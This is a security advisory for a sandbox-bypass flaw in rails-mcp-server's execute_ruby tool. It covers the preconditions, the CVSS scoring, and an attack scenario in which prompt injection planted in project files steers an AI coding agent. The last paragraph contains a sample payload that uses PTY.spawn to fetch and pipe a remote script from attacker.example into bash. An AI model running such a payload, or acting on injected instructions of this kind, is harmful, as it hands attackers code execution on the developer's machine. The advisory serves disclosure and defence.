rails-mcp-server CVE-2026-81097

The following conditions must all be met: rails-mcp-server version 1.4.0 through 1.6.0 must be running; the execute_ruby tool must be enabled (it is part of the server's tool set but may be toggled); the attacker must be able to invoke the execute_ruby tool, either directly as an authorized MCP client or indirectly via prompt injection into an AI coding agent that has the tool available. The Ruby PTY standard library need not be pre-loaded - a bare require 'pty' statement within the tool call suffices because require itself was not blocked. Exploitation is limited by: local deployment model (AV:L per CVSS - attacker must reach the local MCP interface, not a public network endpoint); the server must be actively running; and the caller must control or influence the Ruby code string passed to execute_ruby. Authentication to the MCP server itself follows whatever the MCP client enforces, which is outside the scope of this flaw.

The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) scores 8.6 and reflects low-complexity local exploitation with no privilege prerequisite within the tool-call interface, yielding full confidentiality, integrity, and availability impact on the vulnerable system. PR:N is appropriate here because any entity that can invoke the execute_ruby tool - including an AI coding agent steered by prompt injection - requires no elevated OS or application privileges to trigger the flaw; tool access itself is the gating factor. AV:L is appropriate because rails-mcp-server is typically deployed locally by developers, meaning the attack surface is the local MCP tool interface rather than a network-exposed endpoint. EPSS data is not available in the provided intelligence. The vulnerability is not listed in CISA KEV, and no public proof-of-concept exploit has been identified, which moderates urgency. However, the complete bypass path is disclosed in the public GitHub PR diff, meaning a motivated actor can reconstruct the exploit trivially. The primary realistic threat is prompt injection: a malicious instruction embedded in project files or AI agent inputs could steer a coding agent into calling execute_ruby with a PTY-based payload, running attacker-controlled commands as the developer's own account.

A developer uses a coding agent (e.g., Claude Code, Cursor) connected to rails-mcp-server 1.5.0. A malicious instruction embedded in a project file via prompt injection steers the agent to call execute_ruby with the payload require 'pty'; PTY.spawn('curl attacker.example/shell.sh | bash'). The PTY.spawn call bypasses all Kernel method overrides and the denylist, spawning a shell process as the developer's local user account. No confirmation dialog or elevated privilege is required because the tool invocation itself is sufficient.